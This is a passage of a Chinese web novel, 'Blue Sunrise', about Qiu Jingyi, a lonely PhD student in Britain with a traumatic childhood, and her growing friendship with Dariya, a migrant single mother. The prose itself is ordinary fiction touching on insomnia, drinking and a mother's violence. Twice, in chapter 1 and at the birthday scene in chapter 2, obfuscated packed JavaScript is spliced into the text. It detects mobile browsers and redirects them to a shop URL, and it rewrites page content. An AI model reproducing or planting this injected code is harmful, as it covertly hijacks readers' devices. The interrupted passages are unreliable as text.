《蓝色日出》 1. 回见 刀尖划过皮肤的痛感秋景翳已经不记得了,她只记得血从伤口冒出来,身体的热量一同流失,衣服混着粘稠的液体紧紧粘在身上,削薄的布料变得很重,然后意识渐渐模糊。 等感官恢复,身上的束带几乎快要勒进肉里,挣脱不开,绝望在看不到外面的房间里无限延伸。 被过道的旅客碰醒之后,秋景翳掏出纸巾拭去了鬓角渗出的几滴冷汗,她换到了里面靠窗的座位,头靠着玻璃看着外面,火车正驶过一片平原,草茎的尖端泛出鹅黄,远看像是草场被盖上了层透薄的绸缎。 深呼吸调整了半天,秋景翳身上细微的颤抖才彻底停下。 十一月底的小岛难得有了段连续的晴天,温度说冷不冷,至于暖和嘛倒也谈不上,经常起风,所以街上穿什么的都有,过膝羽绒服和宽松大短裤并肩而行也不会觉得有哪里违和。 冬令时的日光是小岛的奢侈品。 早上八点半,天才刚亮没多久,秋景翳在伯明翰附近的一个小站下了火车,奶白色高领毛衣随着动作不停抚弄着下巴,亚麻挑染的头发被随意扎了个低丸子,简单伸展了一下身体之后裹好大衣,底下露出小半截宽松浅蓝牛仔裤,随意地窝在灰面黑底的板鞋上。 火车从伦敦过来,晃了一个半小时,她眼皮有些沉重,昨晚又不知道熬到了几点才睡。 继续步行大约二十分钟后,她停在了一所特殊学校门口,Ayesha正在门口等着。 Ayesha和秋景翳出于礼节轻轻抱了一下,“早上好啊,秋。” 方才的插曲已经全然在秋景翳身上找不到痕迹,看着似乎和初升的小太阳一样绚烂,“早~” “让你抽时间过来帮忙我,真的挺不好意思的。” 秋景翳捋了捋额前被风吹得有点乱的发丝,笑了笑说:“没关系啊,我挺喜欢给你当志愿者的,很有意义啊!” 学校是重点保护的区域,不是正式员工的话需要有合法证件和无犯罪记录证明才能进入学校,Ayesha按照规定和秋景翳去接待室做了登记,然后带她往学校里面走,“刚开学,你最近应该很忙吧?都没怎么联系过我。” “唔…事情是有点多,因为在做助教所以时间不是很自由”,秋景翳答得十分坦诚,“但是来帮忙的时间还是有的,你不用太在意。” Ayesha挽着秋景翳的胳膊,爱惜地在她的手背上拍了拍,“你总是这么辛苦,之前本科的时候也是到处兼职,应该像同龄人一样多出去玩玩嘛。” 秋景翳下意识叹出口气,稀薄的水雾一瞬间就散了,接着说出口的话语调依旧轻快,“毕竟伦敦的生活成本很高嘛,不过都已经过去了,我现在全奖读博,生活费和学费都不用操心,每个月还有富余,忙是忙了点,出去玩和做兼职都要花时间的嘛,对我来说一样充实。” “你呀,能这么积极地想就最好不过了,有什么需要帮忙的地方你尽管向我开口。” 秋景翳婉拒了这个人情,“我知道的,谢谢你的好意,但我们认识这么久了,你也知道我一个人什么都可以的,有什么能难倒我呀?所以不用替我操心啦~我现在很好的。” 秋景翳和Ayesha是在三年前的一场活动上认识的,她当时是一名志愿者,Ayesha是慈善机构的代理人,秋景翳很喜欢和不同的人聊天,也喜欢交不同的朋友,所以她和Ayesha在活动结束之后也没断了联系,反而成了朋友。 秋景翳列表里的联系人成分复杂,不同人种不同性别,不同国籍不同信仰,她不喜欢静静地独处,所以总是参与各种活动,校内的校外的,认识的人也越来越多。 “好吧,等你需要再说吧”,Ayesha有些无奈地扯了下嘴角,“哦对了,一会儿还有一位女士和你一起,她在我这里兼职,今天第一次来这所学校,你稍微照顾她一下。” Ayesha的慈善机构不止和学校合作,还有很多别的行业,她手下的员工都是根据需求去不同的地方提供协助,流动性很强。 秋景翳微挑了下眉毛,示意自己毫无负担,“没问题啊,小事儿。” 两个人走了几步,拐了个弯,秋景翳看到一个比自己稍矮半头,似乎还要年长几岁的女士正在主教学楼外等着,她被Dariya那一头泛着点红棕的羊毛卷吸引了目光,初升的橙阳渗进每一根发丝,罩着光晕。 Dariya的骨相立体大气,不像欧洲人那种整个头骨窄收,面部线条流畅的在下巴处收成一个小尖角,锋利中透着些温柔,似乎有点中东血统的影子,但又和秋景翳印象中典型的中东长相不一样,要更好看而且没带头巾,她皮肤雪白还有天生桃粉色的嘴唇和晶莹剔透的灰绿眼珠像是蒙着清晨的水雾,眼角和眼尾都是尖尖的,中间的弧度却很圆润,睫毛很浓很长,秋景翳从自己有限的汉语言文学知识储备里搜刮出了一个她认为最合适的词——顾盼流转。 “早上好,我是Dariya。” 说英语时也没有特别的口音,秋景翳的观察到此结束,因为在英国定居的人种复杂多样,所以她习惯了分析他人,尽量避免冒犯到别人的信仰和习俗。 Ayesha:“早,久等了,这位是秋。” 不知道能不能进行肢体接触,因为对方可能信教,秋景翳在伸出右手后做了个询问的表情。 Dariya下意识往后缩了一下,她有点不好意思地摇摇头。 “没关系”,秋景翳收回手,“景翳,秋,不太好念,你直接叫我秋就好了,很高兴见到你啊!” Dariya有点拘谨,“我也是。” Ayesha:“今天学校组织足球比赛,有两位老师请假人手不够,所以就请你们来帮忙,没什么特别要做的,主要是学生们不是普通的孩子,特殊情况发生的时候可能需要一些安抚和指引,你们只需要安全地把他们带去专业的老师那里,当然还是祈祷最好不要出现这些状况。” 秋景翳:“了解!我之前做过的,别担心,Dariya那边我也会帮忙照看的。” “好!那就交给你们了,我先去忙别的事了,回见。” “嗯!回见。” 草地边的木质看台上,刺眼而温暖的阳光晒得秋景翳有些犯困,她负责的这几个孩子都安静得出奇,最开始她无聊得紧,和身边的小朋友搭话,被直接无视掉了,又不能玩手机,只能百无聊赖地盯着草地中央她并不感兴趣的球赛,思维已经发散去了宇宙尽头。 直到附近传来一声急促带着哭腔的尖锐叫喊声硬是把她的魂儿拽了回来。 观众席的另一端,一个有情感障碍的小男生和另一个有语言障碍的小女生因为一个玩具起了争执,正好在Dariya负责的区域。 积木被小男孩扔了一地,小女孩在一旁默默掉着眼泪。 那个小男生不停哭嚎着,尖叫着,不停用拳头砸在Dariya腿上,Dariya想要带他去找专业老师,奈何他根本就不配合,男生本就口齿不够清楚,加上口音很重语速快,着实让Dariya手足无措,“你…小朋友啊…能请你说慢一点嘛?” 男孩现在根本听不进去任何话,只管一味往外输出,秋景翳走过来对Dariya指了指自己负责的区域,说:“这里交给我吧,你帮我看一下他们,我来问问发什么事了然后带他们去找老师。” Dariya看秋景翳明显是东亚长相,怕她应付不来还是不放心地问了一句,“你一个人可以吗?” 得到了秋景翳很从容的一句安慰,“放心吧,我很可靠的。” “那谢谢了。” “没事~别担心了。” Dariya在不远处看着,也不知道秋景翳说了些什么,总之没几分钟那个小男孩就不哭不闹了,和小女孩被她一左一右牵着带走了。 秋景翳再回来的时候,比赛已经接近尾声,Dariya问:“你回来了,已经都解决了吗?” “嗯,是啊,小孩子的一点小矛盾不是什么大事,今天后面没有课程了,他们家人就把他们接回去了。” Dariya长舒一口气,“那就好,我英语不好,刚才真是慌死了,都不知道要怎么办,多亏了你,太感谢了。” 秋景翳在她身旁坐下,双手交叉放在腿上,侧头看向Dariya,“并没有啊,你英语讲得很好,是那孩子的确口音太重不好听懂,有时候就连母语者听起来也会觉得困难,不是你的问题。” Dariya好奇地问如此游刃有余的秋景翳,“你是在这里出生的吗?” “那倒不是,我只是待了很多年而已”,秋景翳的语气里有了点不易察觉的自嘲,“时间久到我有时候说母语都要打磕绊了。” Dariya下意识发出一声感叹:“真好啊…” 秋景翳完全不知道这样好在哪里,她不解到:“真好?为什么?” “哦,抱歉,不是说你忘记母语这件事,是觉得能在这里长住挺好的。” “你是觉得这里很好吗?不过也是,刚来的时候都这么觉得”,秋景翳想了想自己刚来的时候似乎也觉得还不错,主要是因为刚换了环境,时间久了新鲜感没了也就那样,“这小岛啊,其实很无聊的,天气也不好,待久了你可能就不会这么想了。” Dariya摇摇头,“我不会改变想法的,不管是哪里都比我曾经待过的地方好。” 秋景翳大概猜到她应该是来自于那种不太和谐的地区,“啊…抱歉啊…” “啊,没关系的,其实我主要是希望我女儿能够留在这里,她才两岁,我不希望她生活在那样的社会环境里。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯…反正远距离的话,多少比公交好一点吧”,秋景翳噎了一下,她想了想一言难尽的英国公共交通,实在是夸不出来,“就是经常不准时,经常罢工,经常开着开着把人丢在半路上而已…” Dariya被这有趣的形容逗乐了,“哈哈,真的吗?说的我都想试试看了。” 秋景翳心想,现在笑,以后有你骂出声的时候,“呐,你可以用这个App,能规划路线和看火车时间”,她给Dariya看了看自己手机上那个浅绿色的软件,“记得要买张Railcard,折扣很大的,每年能省不少钱呢。”(就是火车票打折的卡) “嗯!我记着了。” 秋景翳爱聊天,不想让话掉在地上她随便捡了个话题,“刚才你说想移民,但怎么就选了英国呢?英国不是移民国家很难的,就算你读完硕士有毕业签证,那也才两年,而且还会因为签证时间短找工作受限,嗯…其实可以试试爱尔兰的,爱尔兰护照几乎等同于英国护照,或者欧洲,欧洲有的国家花钱就能入籍。” 说到这事Dariya有些苦恼,但兴趣要更多一点,因为她确实需要收集这方面的信息,“信息壁垒,时间仓促,资金有限,还要照顾孩子,之前没条件大张旗鼓地折腾”,因为换个地方长久的生活在她心里不是什么容易事,她不禁好奇秋景翳是为什么要背井离乡,“我是不得不离开,你呢?听得出来你并没有很喜欢这里,那为什么要留在这?我想不到什么合适的理由,你应该是中国人吧?你的国家很好啊。” “我是,她也的确很好”,一辆改装过引擎的跑车从旁边轰鸣而过,盖住了后半句话,“但我在那里没有家。” Dariya只看到秋景翳张合的嘴唇,没听到人声,“说了什么?” “没什么”,秋景翳看到正好在身后路口等红绿灯的公交车,说:“车来了!快去吧,下一班要等很久的。” Dariya也没再追问,“谢谢你和我聊了这么多,来了陌生环境之后我一直很不安,没交到什么朋友适应得也很慢,今天真的很高兴认识你,那下次见啦!” 秋景翳莞尔,“刚开始确实不好融入,有什么不懂得不习惯的欢迎随时来问我,我很高兴如果我能帮到你,再见啦,帮我和小公主问声好。” “嗯!” 上了车,Dariya坐在了双层巴士上面靠窗的座位,她回味了一下十分短暂的相处时光,觉得秋景翳真的是个很好的人呢,性格开朗没什么距离感也不端着,很讨人喜欢相处起来很舒服,公交起步超过了秋景翳的身影,她这才意识到光顾着聊天了,都没留个手机号什么的。 而此时的秋景翳明显也发现了盲点,她右手虚握着拳敲了下左手手心,“说好的随时问,结果联系方式都没留…” 不知道还会不会有缘再见。 2. 初夏 因为年底忙碌,几个月一晃而过,没怎么留意气温就回暖了,开春之后,身上总是会不由自主地泛着困劲。 秋景翳坐在办公室里看文献,阴暗厚重的云飘走了,阳光从窗户倾倒进来,屏幕盯得太久,她索性挪了挪地方,躺靠在椅子背上闭目养神。 教授推门进来,今早俩人约了见面,讨论秋景翳的博士课题,“早上好啊,秋,你今天看起来很累啊?” 听见动静,秋景翳立刻收起了懒散,端正坐好,“早上好啊,教授,我就是昨天睡得有点晚,现在被太阳晒得有点犯困。” 教授拉出个空椅子坐下,“等会聊完,你把昨天剩下的那几份本科生作业看完,就早点回去休息吧。” “不用不用,我下午还要给本科生上一个讨论课呢。” “没关系的,我找别人替你,身体最重要。” “那好吧,谢谢教授。” 教授看她精神不佳,他见得例子多,也清楚做学术从来都不是一件轻松容易的事,叹了口气放下手里的文件,不放心到:“秋,你有没有睡眠问题?或者觉得压抑?” 秋景翳没有回答,“Um…” 她住在国王十字附近,去剑桥很方便,火车直达一个半小时,本来睡眠时间是能够保证的,但她有严重的失眠症,酒精和药物都只能勉强让她在三点之前睡着,不用出门的时候一般早上六七点才睡,但顶多中午十一点就自然醒了。 “试试去做咨询吧,我知道读博很辛苦,我也有过这样的状态,很有用的。” 秋景翳歪了歪头,也不好薄了教授的一番好意,有些为难地说:“我以前去过的,只是喝了医生开的药也还是会总做梦。” “不知道是什么事让你一直困扰,但是啊,烦恼是不会消失的,不如把每一天当做一个节点,过去的就都过去了,要向前看但也不要太纠结过于遥远的事情。” “我知道的”,秋景翳笑叹了一声,“可是做梦嘛好像也不是我能控制的…” “多出去走走,运动运动,分分心,你看今天天气也不错,下午给自己放个假吧。” “嗯好吧,既然您都这么说了。” 半下午秋景翳就离开了学校,她到了伦敦却没直接回家,而是坐在塔桥附近岸边的长椅上,听着泰晤士河来往的船声,手里捏着早上买了没胃口吃的三明治,她把面包揪成一小块一小块,喂给地上肥到快要飞不起来的鸽子们,长着颗坚果大小的脑子从某种意义上来说也是件幸福的事。 十三年了,她依旧不喜欢伦敦的春天。 当初,九岁生日刚过,这个“过”当然只是字面意义上日期跨过了这一天,秋景翳就被连人带包一起扔来了这里,伦敦的早春并不暖和,一个人站在灌着冷风诺大的希思罗机场等监护人来接,没人知道连家门都没机会出的她当时有多无助和多害怕。 后来,因为各种原因,秋景翳辗转过好几个监护家庭,从九岁到十八岁,她一直都没有一个可以称得上是落脚的地方。 直到成年之后她搬进了现在住的房子里,那是属于她“家”里的财产。 高中毕业后,家里突然彻底断了她的经济来源,所有的账单,学费生活费都得自己付,她之所以还能暂住在这个房子里,是因为同父异母的哥哥秋晨帮她打了掩护,她那个疯子爹秋宇炀没发现而已。 就这么在河边坐到了天黑,秋景翳的外套逐渐扛不住河边的冷风,她被风卷起的沙粒迷了眼睛才回过神,然后不慌不忙地起了身,散步去坐地铁。 她很抗冻所以穿得不多,能源一直在涨价,她冬天连暖气开得都很偶尔,所以习惯了低温,她需要攒钱和省钱,那是她为自己准备的后路。 出了与外界断联的破旧地铁,手机在口袋里震了震,她收到了Ayesha发的消息:「秋,下个月初有一个游行和义卖的活动,你有时间可以来帮帮忙吗?」 「有的,到时候把时间地点发给我就好」 「多谢」 「没关系」 进了门,入眼的却不是预想中的一片漆黑,秋景翳不满地皱了皱眉,她的边界感不喜欢这样的不请自来。 听到了开门的动静,只围着条浴巾的Dexter裸着上身从客厅走过来,北欧人种在顶灯的投射下,粉白的皮肤泛着层细碎的金色柔光,精致的肌肉线条和更加精致的五官——秋景翳的眼光高得离谱的证明,他比秋景翳高大许多,伸手轻轻松松就环住了秋景翳,“怎么才回来,我想你了”,刚洗过澡的身体蒸腾着热气,紧贴着秋景翳从外面带回来的寒露也不觉得冷。 秋景翳本想说你来干什么,但还是缓了语气,“你什么时候来的?” Dexter似是对这样疏离的语气有些不满,“下午,听教授说你今天走的早,怎么这么晚才回来?” Dexter是比秋景翳早一年跟着教授读博的学长,穷追不舍了一学期终于让秋景翳松了口答应在一起。 秋景翳的手在Dexter努力锻炼过的富有弹性的胸肌上贴了贴,冰的他一哆嗦,半分钟后她稍稍一用力推开了Dex,暖不热,她心里这么想着,“我改密码了,以后别来了。” Dexter错愕到:“什么?” 秋景翳看着他,眼神没有一点温度,“就在刚刚,我们分手了。” 对比之下Dexter就像是炸了毛的刺猬,宝石蓝的眼珠子都快瞪出来了,难以置信,委屈还有不服气,“为什么?!” “腻了”,秋景翳的态度轻松平常到好像和人随便聊了句天气,而不是在说分手这种残忍的话。 “就这样?这算什么理由?” 秋景翳叹了口气,“你太没分寸感,就像我说过不喜欢你不打一声招呼就来,你不听,好啊,我给你机会,但事不过三,我没耐心一直重复同一件事。” Dexter不死心地又贴上来,左手搂着秋景翳的腰,右手捧着她的脸,秋景翳并没有拒绝这个吻,但也没有回应,她在唇瓣相贴前说:“别浪费时间。” 最后一个缠绵的吻结束后,秋景翳下了逐客令,她捞起搭在沙发扶手上的衣服扔到Dex身上,视线在那具漂亮的身体上留恋了一瞬,只是难以捕捉的一瞬间而已,她从不遮掩自己对于精致和好看的偏爱,但不会给已经放弃过的人或事多一次机会。 等剩自己一个人的时候,秋景翳顺手把Dex刚开瓶的Martini倒在杯子里混着柠檬气泡水喝了,又结束了一段关系,疲惫感顺着脊柱轻柔缓慢地攀爬,呼吸都带着点麻劲,她不禁复盘了一下——话说第一次交男朋友是什么时候来着? 应该是大一开学没几周,一次兼职结束走夜路被抢了手机和钱包之后,她答应了一个追求自己的男生,有人保驾护航的确更安全。 后来她觉得有人陪着也不错,但这种陪伴对她来说只是装满水杯的其中不起眼的一滴水而已,最长也没有超过三个月过。 最初的新鲜过后,剩下的都是公式化的相处,约会上床,上床甚至算是这段关系里的情绪峰值,非要找个合适的比喻的话,就像是正态分布的钟形曲线,峰值之后恢复如常的落差让她觉得厌烦乏味,尤其是早上睁开眼就看到一个餍足之后睡得跟死猪一样的人,慢慢的她便拒绝男朋友在自己这过夜。 男朋友在秋景翳这里说好听点是消遣,说难听点是有温度的工具。 不过成年人各取所需,热脸上赶着贴冷屁股,谁也不欠着谁。 Ayesha提过的活动举办在五月初,为了融入活动的氛围,秋景翳今天穿了一身朋克风的套装,白色吊带外面套着件黑色露肩的镂空毛衣,牛仔短裙配皮革长靴,腰间坠着条银色的腰链,走路的时候会发出清脆的金属碰撞声。 今天她负责的摊位是帮有残疾的老人卖家庭自制甜品。 码好商品,隔壁的摊位也开始热闹起来,售卖员正在宣传社区里孩子们做的手工艺品,秋景翳觉得那声音好像很熟悉,但听了一会也没想起来到底是在哪听过,于是忍不住好奇过去看了一眼。 那头标志的羊毛卷一下子就将她的记忆翻新,原来是大半年前碰到的那个人啊。 秋景翳走过去,打了声招呼,“嗨!Dariya,真的是你!好久不见啊!” Dariya万分惊喜,她没想到竟然真的会再见,“好久不见!你又来帮忙啊!” “对呀”,秋景翳看她身边还带着个婴儿车,问:“这是你女儿吗?” “是,她叫Jasmine”,Dariya半蹲下身,对着婴儿车里的孩子说,“Jasmine,妈妈教过你要怎么打招呼,说你好~招招手啊~” Jasmine有点害羞得摇摇手,问了声好。 她长得就像秋景翳小时候在广告里见过的那种十分漂亮精致的洋娃娃,摆在闹市街边橱窗里用来吸引顾客的那种,“你好呀~Jasmine,你长得真可爱,名字也好听。” Jasmine用不熟练的英文回到:“谢…谢…” 过了早晨,天热得很快,今天天上一丝云都没有,还要在帐篷里待一天,Dariya看秋景翳的穿着问:“今天穿毛衣不会热吗?” “不会啊,我好像不怎么会觉得热”,秋景翳低头随意打量了一下自己,手不经意撩过腰链,问:“你最近怎么样?有没有更习惯这里的生活?” “比刚来的时候好多了,后来学校里事情多也没功夫想别的,一直忙到最近才有点空闲,哦对了,我上周在超市找到了一个兼职,时薪还可以。” 超市兼职比Ayesha这里要稳定很多,至少每周的工时都可以做满。 秋景翳很捧场地做出个惊喜的表情,“是好消息啊!恭喜你咯!听起来过得还不错嘛,那我就放心了。” “上次都没来得及问问你的联系方式,我可以…” “当然可以啊!我很喜欢交朋友的,呐,这是我的手机号,还有这个,这是我的InsID。” Dariya搜索的时候看到了秋景翳的主页,第一条就是前天的晚饭,“这是你做的吗?看着很不错!” “看着很不错吗?哈哈哈,谢谢,我很偶尔才做一次饭,所以觉得值得纪念就摆得好看一点,拍张照发出来,其实一点都不好吃,完全是滤镜的功劳。” “那你回头可以来做客,我会做很多吃的。” “真的吗?那我肯定得找时间去尝尝了!” “你脖子上这个是…纹身吗?挺好看的”,现在两人离得近,没戴眼镜的Dariya才看清秋景翳脖子上的纹身,小而精致的淡粉色和白色的花朵簇拥,围了一圈紧贴着锁骨上面一点,像一条chocker,中间穿着条不粗不细的丝带。 秋景翳下意识抬手摸了摸脖子,“这个啊…叛逆的时候纹的,被夸好看我很开心。” 这会儿摊位还没什么人,两个人就这么有一搭没一搭地闲聊着。 “你今天也从伦敦过来吗?” 秋景翳窝在塑料椅里,手里摆弄着看不出名堂的小摆件,“是喔。” “那有点远啊。” “是有点,不过我在家待不住,只要出来,让我去哪都可以,远一点也没关系。” “我都来了这么久了,除了机场,我还没去过伦敦呢。” 秋景翳放下手里的东西看向Dariya,“嗯?没去过伦敦吗?那下次来玩啊,刚好可以住我那,省了酒店钱。” Dariya只当她在开玩笑,便也以不太认真的口吻回到:“谢谢你的邀请,不过Jasmine还这么小,很闹人的。” “我不介意啊,她很可爱的”,有人要买点心了,秋景翳只能先就此打住,“我得先回去帮忙了。” “好”,Dariya犹豫了一下后下定了个决心,又叫住了人,“对了,秋,你一般什么时候有空啊?” 秋景翳以为Dariya真的有想法去伦敦玩,于是她回答得很细,“周末随时有空,周内的话不一定。” “那…下周末,我可以请你来我家吃饭吗?Jasmine过生日,我想热闹一点,但我在这也没别的朋友了。” 秋景翳本以为两人刚才只是在相互客套,没想到她认真,着实有些意外,“你就不怕我是坏人吗?我们只见过两次诶,你这样也太没警惕心了吧?” Dariya很认真地回答到:“你可以在学校工作,肯定通过了背景调查,而且有DBS*啊,怎么可能是坏人呢?” 秋景翳失笑,“你这理由…还真是让人无法反驳啊,我没问题,那就下周见咯。” Dariya住在伯明翰郊区,秋景翳要坐火车再转公交然后步行,天上有点飘雨,水珠挂在发丝上没有沁透,她跟着导航拐了好半天才停在了一处不怎么起眼的公寓楼下。 秋景翳掸了掸身上和鞋子上的水之后敲门,没有立刻得到回应,Dariya应该在忙着做饭所以没听到,于是她隔了一会,又敲了敲。 门开了,先跑出来的是穿着公主裙的Jasmine。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904714|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦呦,这是哪里来的小公主啊”,她把手里的毛绒玩具和蛋糕放低,在Jasmine面前晃了晃,“生日快乐!小漂亮,这是给你的礼物,喜不喜欢?喜欢就对我笑一个,好不好?” Jasmine咧嘴笑了,露出几颗乳牙,下嘴唇就快要兜不住口水了。 Dariya把她抱起来,免得秋景翳一直弯腰,“她很喜欢呢,谢谢你还特地带了礼物过来。” “我总不能空着手来做客嘛。” “地方有点小,你随便坐,饭马上就好了,麻烦你帮我照看一下Jasmine。” “好啊,我来抱她去玩吧。” 说地方小绝对不是谦虚,Dariya租的是一个大概20平出头的studio,一进门右手边是一个袖珍卫生间,往里是衣柜,一张双人床,一个书桌,和一个不大的开放式厨房,搭配全屋浅色系装修,是英国非常典型的公寓构造。 想让做饭的油烟尽量不熏着小孩,秋景翳抱着Jasmine站在窗边,给她只路上的车和植物吸引她的注意力。 她在Dariya开冰箱拿饮料的时候,余光扫到了里面冷藏着的黄标食品。 Dariya从橱柜旁抽出一张可折叠的餐桌,朝站在窗边的俩人说,“好了,我把盘子都端过来就可以吃饭啦。” 秋景翳看Jasmine一直盯着放在一旁的蛋糕,说:“我们是不是应该先关灯点蜡烛切蛋糕啊?” Dariya接过孩子,问:“Jasmine是不是想先吃蛋糕呀?” Jasmine在Dariya怀里不老实,抻直了两只莲藕似的雪白的胳膊,“蛋糕,蛋糕…” 秋景翳:“我去关灯拉窗帘。” Jasmine懵懂地看着那忽明忽暗的烛光,听着不完全懂的生日歌。 Happybirthdaytoyou, Happybirthdaytoyou, HappybirthdaytoJasmine, Happybirthdaytoyou~ 秋景翳逗她:“许个愿吧宝贝?” Dariya笑笑,“她能知道许愿是什么啊?” “哈哈,她肯定在想要吃好吃的,这样也算是许愿了,你看她的口水都往下滴了”,秋景翳教Jasmine吹蜡烛,“来,Jasmine看我,你这样,把嘴巴嘟起来,呼~” “谢谢你愿意来,Jasmine没有爸爸受过很多歧视,我们一直过得躲躲藏藏的,今天是第一次好好给她庆祝生日,多亏了你才没有那么冷清。” 听了这话,秋景翳十分疼爱地揉了揉Jasmine的脸,对她说:“你没有爸爸,我没有妈妈,命运呐,是不是?命运让我一定要认识Jasmine”,她又转头对Dariya自嘲着说:“我竟然因为这样觉得有种亲切感,我是个很奇怪的人吧?” “怎么会,相似的处境会产生亲切感很正常,你是我来这之后遇到的最好最善良的人。” 秋景翳眨了眨眼睛,不打算再继续这个话题,“那最好最善良的人提醒你,尽量不要吃超市的黄标冷食。” 黄标商品算是超市的员工福利,Dariya怕秋景翳误会,连忙解释到:“我今天做饭没有用那些,我早上去买了新鲜的食材。” 秋景翳看她会错意,笑着打圆场,“我不是那个意思,我并不介意偶尔吃这些,你以为我为什么会这么提醒你?当然是因为省钱吃这些吃出急性肠胃炎过,前车之鉴嘛,我以前也做过超市兼职的。” Dariya见秋景翳的这几次,虽然看不出她身上的衣服和配饰是大牌还是评价,但能感觉到很有质感,或者是因为她身上没有那种为生计发愁的气味,总之不像自己这样,几身快消品牌淘来的打折款来回换,她有些惊讶,“省钱?你看起来…不像是需要省钱的人啊?” 秋景翳像是听到了什么新鲜事,她指了指自己,“我?不像吗?我很需要钱的”,她拉开身后的窗帘,慢条斯理地说到:“我以前要赚学费,本科课很多就只能去Tesco这种营业到凌晨的超市上晚班上到半夜,不然只能饿肚子,那时候天天在伦敦走夜路,我没少被抢过呢”,阳光平铺在秋景翳背后,她眉眼温和,音色在柔软和冷硬之间最中间的位置,十分悦耳。 明明是很狼狈的过往,Dariya却只能从秋景翳的举手投足里看到乐观从容,好像那风雨只是在那削薄的肩上停留了一会儿就散了,什么痕迹也留不住,她希望自己也可以这样,即便日子过得苦了些,也能很体面的生活下去。 短暂的停顿之后,她还想说些什么,被秋景翳打断了。 “哇!这是”,秋景翳借着光看清了桌上的饭菜,除了Dariya的家乡菜,有两道是她很熟悉的,她惊喜到:“你这是为了我,专门学做的中餐吗?“ “嗯,第一次尝试,不知道好不好吃,你尝尝看?” “我可真是太受宠若惊了”,秋景翳挖了一勺西红柿炒鸡蛋盖在米饭上,送进嘴里,已经有些温凉的饭菜顺着咽喉滑进胃里,留下一股反常的暖意,“嗯~好好吃~味道很正宗嘛,你是个做饭小天才吧?” Dariya被夸得不好意思了,“你喜欢就好,就怕你不喜欢呢。” “我很喜欢的,谢谢你啊,我好久没吃过了”,秋景翳一边吃着,一边看着Dariya一小勺一小勺地喂Jasmine吃辅食,“话说,你的课应该差不多都结束了吧?” “已经都上完了,只剩下两门作业,然后就是毕业论文,我得赶紧把它们做完,这样我就有时间照顾她和找工作了。” 秋景翳知道Master在这个阶段辛苦,压力很大,但Dariya却愿意为了Jasmine这样赶进度,她心里萌生出一种难以言喻的感受,“我冒昧地问一句哈,你做所有的事都是为了她吗?那你自己呢?你有没有考虑过自己想要什么?” “我以前想留校当老师搞科研,但Jasmine来到我身边之后,我就不自觉地想要给她更好的。” 秋景翳一怔,“人和人的区别啊”,她放下碗筷,然后双手交叉比在自己脖子上,语气和表情是搞怪地不正经,“我妈以前就只想掐死我。” Dariya难以置信,“为什么???” “嗯…她不喜欢我”,就算说着这种事,秋景翳的语气也没什么波澜,“不过她已经不在了,所以我原谅她。” 3. 赴约 秋景翳离开之后,外面打起了雷,天阴得很重,是要下暴雨的预兆。 Dariya把Jasmine哄睡着之后,一边洗碗一边回想着刚刚地对话,秋景翳那样明显只是嘴上说着不在乎而已,不然何必故意摆出那样的笑脸,让人看了心里难过。 天呐,怎么会有母亲想要掐死自己的孩子呢? 是啊,谁知道她怎么想的呢。 我以为你应该过得很幸福,所以才会这么爱笑。 是因为不幸所以才爱笑。 “因为不幸所以才爱笑”,Dariya小声重复了一遍秋景翳说过的话,她在秋景翳身上嗅到了同类的味道。 尽管苦难各有不同,但令人悲伤的味道是相似的。 大颗的雨滴砸下来的时候,秋景翳发来消息,「我已经到家了」 「没有淋雨吧?」 「没有,到家了才开始下雨的」 「那就好,快去洗个热水澡,别感冒了」 「YesMama~」 Dariya盯着屏幕上弹出的这句略带孩子气的发言看了一会儿,才发现自己的嘴角是上挑的。 氤氲缭绕的浴室里,秋景翳站在淋浴下,任由热水冲在身上,她回想起了粘稠的血液黏在皮肤上的滚烫。 只是刚见过两面的朋友就能如此花心思地迎合她的口味,而和她有血缘关系的人却弃她如敝履,真是讽刺。 秋景翳闭上眼睛,那些噩梦又缠了上来,她又一次问出了不会有人回答的问题:“我不无辜吗?我又做错了什么,为什么要这么恨我呢?” 这夜,家里的白墙再一次变得血红,空酒瓶倒在地上,秋景翳裹着被子蜷缩在墙角,后背紧紧贴着墙壁才能在酒劲上来之后勉强睡着,虽然比起以前,这样的频率减少了一些,但也足够折磨人的。 接连几周阵雨和高温交替,忽凉忽热,睡眠不足吃得不好免疫力堪忧的秋景翳不出意外地病倒了。 六月末,Dariya收到了一个面试邀请,公司地址在伦敦。 面试嘛,对于没有工作经验,英语是第二语言,不是英国居民的Dariya来说,白跑一趟的概率超过百分之九十,她想着既然是碰这个运气,不如顺便带着Jasmine在伦敦玩一圈,过了这段时间她就很难再有空闲了,难得天气不冷不热也别浪费三十多磅的车票。 在Booking上翻了又翻,Dariya想找一家便宜一点的酒店住两晚,结果正好赶上旅游旺季,市区范围内不是那么乱的街区里竟找不到一家价钱合适的。 Dariya忽然想起了秋景翳上次说如果去伦敦玩可以住她家,本不想麻烦别人,但眼前的无奈让她别无选择,纠结了片刻,还是发了消息,「秋,我有件事可能得麻烦你」 「嗯?什么事?你尽管说」 「我下周要去伦敦面试,想带Jasmine顺便玩几天,可以在你家借住几天吗?」 「当然可以啊,随时欢迎」 「真的吗?不会打扰到你吧?」 「不会!我把地址发给你,倒时候你直接来就好,我下周一直在家」 「太感谢了!」 「别那么客气嘛」 幸运的是秋景翳生病的阶段赶上了第二学期期末,她不用大老远跑去学校,可以在家远程处理工作顺便休息休息。 忙完面试快中午了,带着Jasmine随便转了转,半下午Dariya跟着导航找到秋景翳家所在的公寓楼,看到第一眼的时候她甚至一时间不敢确认,按照秋景翳自己描述的状况来看,她绝对是负担不起起这样的公寓的。 